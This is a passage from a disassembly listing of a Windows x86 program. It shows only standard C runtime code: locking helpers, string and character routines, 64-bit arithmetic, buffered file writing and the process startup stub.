		mov	edi, eax
		lea	eax, [esp+14h+arg_8]
		push	eax
		push	[esp+18h+arg_4]
		push	esi
		call	sub_42512C
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_42A8F8
		push	esi
		call	sub_42488E
		add	esp, 20h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_424744	endp


; =============== S U B	R O U T	I N E =======================================



sub_424780	proc near		; DATA XREF: .text:00432024o
		mov	eax, dword_632B00
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424794
		mov	eax, 200h
		jmp	short loc_42479A
; ---------------------------------------------------------------------------


loc_424794:				; CODE XREF: sub_424780+Bj
		cmp	eax, esi
		jge	short loc_42479F
		mov	eax, esi


loc_42479A:				; CODE XREF: sub_424780+12j
		mov	dword_632B00, eax


loc_42479F:				; CODE XREF: sub_424780+16j
		push	4
		push	eax
		call	sub_423F63
		pop	ecx
		mov	dword_631AE8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4247D3
		push	4
		push	esi
		mov	dword_632B00, esi
		call	sub_423F63
		pop	ecx
		mov	dword_631AE8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4247D3
		push	1Ah
		call	sub_424FCB
		pop	ecx


loc_4247D3:				; CODE XREF: sub_424780+30j
					; sub_424780+49j
		xor	ecx, ecx
		mov	eax, offset off_449430


loc_4247DA:				; CODE XREF: sub_424780+6Ej
		mov	edx, dword_631AE8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset off_4496B0
		jl	short loc_4247DA
		xor	ecx, ecx
		mov	edx, offset dword_449440


loc_4247F7:				; CODE XREF: sub_424780+A4j
		mov	esi, ecx
		mov	eax, ecx
		sar	esi, 5
		and	eax, 1Fh
		mov	esi, dword_6319E0[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424817
		test	eax, eax
		jnz	short loc_42481A


loc_424817:				; CODE XREF: sub_424780+91j
		or	dword ptr [edx], 0FFFFFFFFh


loc_42481A:				; CODE XREF: sub_424780+95j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_4494A0
		jl	short loc_4247F7
		pop	esi
		retn
sub_424780	endp


; =============== S U B	R O U T	I N E =======================================



sub_424828	proc near		; DATA XREF: .text:00432038o
		call	sub_426779
		cmp	byte_6314A0, 0
		jz	short locret_42483B
		jmp	sub_42ADEC
; ---------------------------------------------------------------------------

locret_42483B:				; CODE XREF: sub_424828+Cj
		retn
sub_424828	endp


; =============== S U B	R O U T	I N E =======================================



sub_42483C	proc near		; CODE XREF: sub_422B65+16p
					; sub_422BE2+7p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_449430
		cmp	eax, ecx
		jb	short loc_424860
		cmp	eax, offset dword_449690
		ja	short loc_424860
		sub	eax, ecx
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_428436
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424860:				; CODE XREF: sub_42483C+Bj
					; sub_42483C+12j
		add	eax, 20h
		push	eax
		call	dword_42F140	; RtlEnterCriticalSection
		retn
sub_42483C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42486B	proc near		; CODE XREF: sub_424496+Bp
					; sub_426782+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_42487F
		add	eax, 1Ch
		push	eax
		call	sub_428436
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42487F:				; CODE XREF: sub_42486B+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_42F140	; RtlEnterCriticalSection
		retn
sub_42486B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42488E	proc near		; CODE XREF: sub_422B65+24p
					; sub_422BE2+22p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_449430
		cmp	eax, ecx
		jb	short loc_4248B2
		cmp	eax, offset dword_449690
		ja	short loc_4248B2
		sub	eax, ecx
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_428497
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4248B2:				; CODE XREF: sub_42488E+Bj
					; sub_42488E+12j
		add	eax, 20h
		push	eax
		call	dword_42F144	; RtlLeaveCriticalSection
		retn
sub_42488E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4248BD	proc near		; CODE XREF: sub_424496+33p
					; sub_426782+7Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_4248D1
		add	eax, 1Ch
		push	eax
		call	sub_428497
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4248D1:				; CODE XREF: sub_4248BD+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_42F144	; RtlLeaveCriticalSection
		retn
sub_4248BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_418614+15Dp
					; sub_4228B3+12Bp

arg_0		= dword	ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	dword_6314C8, ebx
		jnz	short loc_4248FE
		mov	eax, [esp+4+arg_0]
		cmp	eax, 61h
		jl	short loc_42494D
		cmp	eax, 7Ah
		jg	short loc_42494D
		sub	eax, 20h
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4248FE:				; CODE XREF: sub_4248E0+9j
		push	esi
		mov	esi, offset dword_63198C
		push	edi
		push	esi
		call	dword_42F200	; InterlockedIncrement
		cmp	dword_631988, ebx
		mov	edi, dword_42F1FC
		jz	short loc_424928
		push	esi
		call	edi ; dword_42F1FC
		push	13h
		call	sub_428436
		pop	ecx
		push	1
		pop	ebx


loc_424928:				; CODE XREF: sub_4248E0+38j
		push	[esp+0Ch+arg_0]
		call	sub_42494F
		test	ebx, ebx
		pop	ecx
		mov	[esp+0Ch+arg_0], eax
		jz	short loc_424944
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_424947
; ---------------------------------------------------------------------------


loc_424944:				; CODE XREF: sub_4248E0+58j
		push	esi
		call	edi ; dword_42F1FC


loc_424947:				; CODE XREF: sub_4248E0+62j
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		pop	esi


loc_42494D:				; CODE XREF: sub_4248E0+12j
					; sub_4248E0+17j
		pop	ebx
		retn
sub_4248E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42494F	proc near		; CODE XREF: sub_4248E0+4Cp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_6314C8, 0
		push	ebx
		jnz	short loc_42497A
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_424A18
		cmp	eax, 7Ah
		jg	loc_424A18
		sub	eax, 20h
		jmp	loc_424A18
; ---------------------------------------------------------------------------


loc_42497A:				; CODE XREF: sub_42494F+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_4249AD
		cmp	dword_449A44, 1
		jle	short loc_42499A
		push	2
		push	ebx
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_4249A5
; ---------------------------------------------------------------------------


loc_42499A:				; CODE XREF: sub_42494F+3Dj
		mov	eax, off_449838
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_4249A5:				; CODE XREF: sub_42494F+49j
		test	eax, eax
		jnz	short loc_4249AD


loc_4249A9:				; CODE XREF: sub_42494F+AFj
		mov	eax, ebx
		jmp	short loc_424A18
; ---------------------------------------------------------------------------


loc_4249AD:				; CODE XREF: sub_42494F+34j
					; sub_42494F+58j
		mov	edx, off_449838
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4249D0
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_4249D9
; ---------------------------------------------------------------------------


loc_4249D0:				; CODE XREF: sub_42494F+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_4249D9:				; CODE XREF: sub_42494F+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_6314C8
		call	sub_429BA7
		add	esp, 20h
		test	eax, eax
		jz	short loc_4249A9
		cmp	eax, 1
		jnz	short loc_424A0B
		movzx	eax, [ebp+var_4]
		jmp	short loc_424A18
; ---------------------------------------------------------------------------


loc_424A0B:				; CODE XREF: sub_42494F+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_424A18:				; CODE XREF: sub_42494F+14j
					; sub_42494F+1Dj ...
		pop	ebx
		leave
		retn
sub_42494F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_424A20	proc near		; CODE XREF: sub_418AA2+3Dp
					; sub_41F537+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_424A41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_424A91
; ---------------------------------------------------------------------------


loc_424A41:				; CODE XREF: sub_424A20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_424A4F:				; CODE XREF: sub_424A20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_424A4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_424A7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_424A7A
		jb	short loc_424A82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_424A82


loc_424A7A:				; CODE XREF: sub_424A20+4Aj
					; sub_424A20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_424A82:				; CODE XREF: sub_424A20+52j
					; sub_424A20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_424A91:				; CODE XREF: sub_424A20+1Fj
		pop	ebx
		retn	10h
sub_424A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_424AA0	proc near		; CODE XREF: sub_418AA2+24p
					; sub_41F537+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_424AC2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_424B03
; ---------------------------------------------------------------------------


loc_424AC2:				; CODE XREF: sub_424AA0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_424AD0:				; CODE XREF: sub_424AA0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_424AD0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_424AFE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_424AFE
		jb	short loc_424AFF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_424AFF


loc_424AFE:				; CODE XREF: sub_424AA0+4Ej
					; sub_424AA0+54j
		dec	esi


loc_424AFF:				; CODE XREF: sub_424AA0+56j
					; sub_424AA0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_424B03:				; CODE XREF: sub_424AA0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_424AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B08	proc near		; CODE XREF: sub_41AD33+10Bp
					; sub_421589+2CCp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_424B1F


loc_424B15:				; CODE XREF: sub_424B08+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_424B15


loc_424B1F:				; CODE XREF: sub_424B08+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_424B08	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B30	proc near		; DATA XREF: .text:0041F930o
					; sub_41F9B7+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_424BD0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_424B63:				; CODE XREF: sub_424B30+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_424BC9
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_424BB7
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_424BB7
		js	short loc_424BC2
		mov	edi, [ebx+8]
		push	ebx
		call	sub_423978
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4239BA
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_423A4E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_424BB7:				; CODE XREF: sub_424B30+40j
					; sub_424B30+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_424B63
; ---------------------------------------------------------------------------


loc_424BC2:				; CODE XREF: sub_424B30+54j
		mov	eax, 0
		jmp	short loc_424BE5
; ---------------------------------------------------------------------------


loc_424BC9:				; CODE XREF: sub_424B30+36j
		mov	eax, 1
		jmp	short loc_424BE5
; ---------------------------------------------------------------------------


loc_424BD0:				; CODE XREF: sub_424B30+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4239BA
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_424BE5:				; CODE XREF: sub_424B30+97j
					; sub_424B30+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424B30	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4239BA
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C08	proc near		; CODE XREF: sub_41FE93+2CFp
					; sub_41FE93+364p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_C]
		call	sub_42483C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_424C37
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_42488E
		add	esp, 18h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_424C08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C37	proc near		; CODE XREF: sub_424C08+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_424C5B
		xor	eax, eax
		jmp	loc_424D28
; ---------------------------------------------------------------------------


loc_424C5B:				; CODE XREF: sub_424C37+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_424C6E
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_424C75
; ---------------------------------------------------------------------------


loc_424C6E:				; CODE XREF: sub_424C37+2Dj
		mov	[ebp+arg_C], 1000h


loc_424C75:				; CODE XREF: sub_424C37+35j
					; sub_424C37+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_424CA9
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_424CA9
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_424C8F
		mov	edi, eax


loc_424C8F:				; CODE XREF: sub_424C37+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4223F0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_424CEF
; ---------------------------------------------------------------------------


loc_424CA9:				; CODE XREF: sub_424C37+47j
					; sub_424C37+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_424CF4
		test	ecx, ecx
		jz	short loc_424CBD
		push	esi
		call	sub_42671D
		test	eax, eax
		pop	ecx
		jnz	short loc_424D36


loc_424CBD:				; CODE XREF: sub_424C37+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_424CD0
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_424CD2
; ---------------------------------------------------------------------------


loc_424CD0:				; CODE XREF: sub_424C37+8Aj
		mov	edi, ebx


loc_424CD2:				; CODE XREF: sub_424C37+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42AE6D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424D2D
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_424D2D


loc_424CEF:				; CODE XREF: sub_424C37+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_424D1D
; ---------------------------------------------------------------------------


loc_424CF4:				; CODE XREF: sub_424C37+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_425014
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424D36
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_424D1D
		mov	[ebp+arg_C], 1


loc_424D1D:				; CODE XREF: sub_424C37+BBj
					; sub_424C37+DDj
		test	ebx, ebx
		jnz	loc_424C75
		mov	eax, [ebp+arg_8]


loc_424D28:				; CODE XREF: sub_424C37+1Fj
					; sub_424C37+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_424D2D:				; CODE XREF: sub_424C37+ADj
					; sub_424C37+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_424D38
; ---------------------------------------------------------------------------


loc_424D36:				; CODE XREF: sub_424C37+84j
					; sub_424C37+CFj
		mov	eax, edi


loc_424D38:				; CODE XREF: sub_424C37+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_424D28
sub_424C37	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D41	proc near		; CODE XREF: sub_421589+36Ap
					; sub_421589+3DAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	dx, [ecx]
		lea	esi, [eax+2]
		mov	[eax], dx


loc_424D53:				; CODE XREF: sub_424D41+21j
		inc	ecx
		inc	ecx
		test	dx, dx
		jz	short loc_424D64
		mov	dx, [ecx]
		mov	[esi], dx
		inc	esi
		inc	esi
		jmp	short loc_424D53
; ---------------------------------------------------------------------------


loc_424D64:				; CODE XREF: sub_424D41+17j
		pop	esi
		retn
sub_424D41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D66	proc near		; CODE XREF: sub_421589+168p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_63198C
		push	edi
		push	esi
		call	dword_42F200	; InterlockedIncrement
		mov	edi, dword_42F1FC
		xor	ebx, ebx
		cmp	dword_631988, ebx
		jz	short loc_424D96
		push	esi
		call	edi ; dword_42F1FC
		push	13h
		call	sub_428436
		pop	ecx
		push	1
		pop	ebx


loc_424D96:				; CODE XREF: sub_424D66+20j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_424DC3
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		test	ebx, ebx
		jz	short loc_424DB8
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_424DBB
; ---------------------------------------------------------------------------


loc_424DB8:				; CODE XREF: sub_424D66+46j
		push	esi
		call	edi ; dword_42F1FC


loc_424DBB:				; CODE XREF: sub_424D66+50j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DC3	proc near		; CODE XREF: sub_424D66+39p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_424E91
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_424EBE
		cmp	dword_6314C8, esi
		jnz	short loc_424E14
		cmp	edi, esi
		jbe	loc_424EBE


loc_424DF3:				; CODE XREF: sub_424DC3+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si


loc_424DFF:				; DATA XREF: .text:004321D0o
		cmp	byte ptr [ecx],	0
		jz	loc_424EBE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_424DF3
		jmp	loc_424EBE
; ---------------------------------------------------------------------------


loc_424E14:				; CODE XREF: sub_424DC3+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_42F098
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_6314D8
		call	esi ; dword_42F098
		test	eax, eax
		jnz	loc_424EBD
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_424E4F


loc_424E3F:				; CODE XREF: sub_424DC3+CCj
					; sub_424DC3+F8j
		call	sub_426528
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_424EBE
; ---------------------------------------------------------------------------


loc_424E4F:				; CODE XREF: sub_424DC3+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_424E57:				; CODE XREF: sub_424DC3+B4j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_424E79
		mov	edx, off_449838
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_424E6E
		inc	eax


loc_424E6E:				; CODE XREF: sub_424DC3+A8j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_424E57


loc_424E79:				; CODE XREF: sub_424DC3+98j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_6314D8
		call	esi ; dword_42F098
		test	eax, eax
		jnz	short loc_424EBE
		jmp	short loc_424E3F
; ---------------------------------------------------------------------------


loc_424E91:				; CODE XREF: sub_424DC3+Fj
		cmp	dword_6314C8, esi
		jnz	short loc_424EA4
		push	[ebp+arg_4]
		call	sub_422120
		pop	ecx
		jmp	short loc_424EBE
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424DC3+D4j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_6314D8
		call	dword_42F098	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_424E3F


loc_424EBD:				; CODE XREF: sub_424DC3+6Bj
		dec	eax


loc_424EBE:				; CODE XREF: sub_424DC3+1Aj
					; sub_424DC3+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424DC3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F458
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_42F218	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_631478, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_631474, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_631470, ecx
		shr	eax, 10h
		mov	dword ptr byte_63146C, eax
		push	1
		call	sub_42719C
		pop	ecx
		test	eax, eax
		jnz	short loc_424F2E
		push	1Ch
		call	sub_424FF0
		pop	ecx


loc_424F2E:				; CODE XREF: .text:00424F24j
		call	sub_425936
		test	eax, eax
		jnz	short loc_424F3F
		push	10h
		call	sub_424FF0
		pop	ecx


loc_424F3F:				; CODE XREF: .text:00424F35j
		xor	esi, esi
		mov	[ebp-4], esi
		call	sub_426B40
		call	dword_42F214	; GetCommandLineA
		mov	dword_631AE4, eax
		call	sub_42B533
		mov	dword_6313EC, eax
		call	sub_42B2E6
		call	sub_42B22D
		call	sub_4284AC
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_42F210	; GetStartupInfoA
		call	sub_42B1D5
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_424F8E
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_424F91
; ---------------------------------------------------------------------------


loc_424F8E:				; CODE XREF: .text:00424F86j
		push	0Ah
		pop	eax


loc_424F91:				; CODE XREF: .text:00424F8Cj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	sub_4120E9
		mov	[ebp-60h], eax
		push	eax
		call	sub_4284D9
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_42B05D
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_4284EA

; =============== S U B	R O U T	I N E =======================================



sub_424FCB	proc near		; CODE XREF: sub_42322C+16p
					; sub_424780+4Dp ...

arg_0		= dword	ptr  4

		cmp	dword_6313F4, 1
		jnz	short loc_424FD9
		call	sub_42B665


loc_424FD9:				; CODE XREF: sub_424FCB+7j
		push	[esp+arg_0]
		call	sub_42B69E
		push	0FFh
		call	off_4496B0
		pop	ecx
		pop	ecx
		retn
sub_424FCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF0	proc near		; CODE XREF: .text:00424F28p
					; .text:00424F39p

arg_0		= dword	ptr  4

		cmp	dword_6313F4, 1
		jnz	short loc_424FFE
		call	sub_42B665


loc_424FFE:				; CODE XREF: sub_424FF0+7j
		push	[esp+arg_0]
		call	sub_42B69E
		pop	ecx
		push	0FFh
		call	dword_42F06C	; ExitProcess
		retn
sub_424FF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425014	proc near		; CODE XREF: sub_422063+46p
					; sub_42219B+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
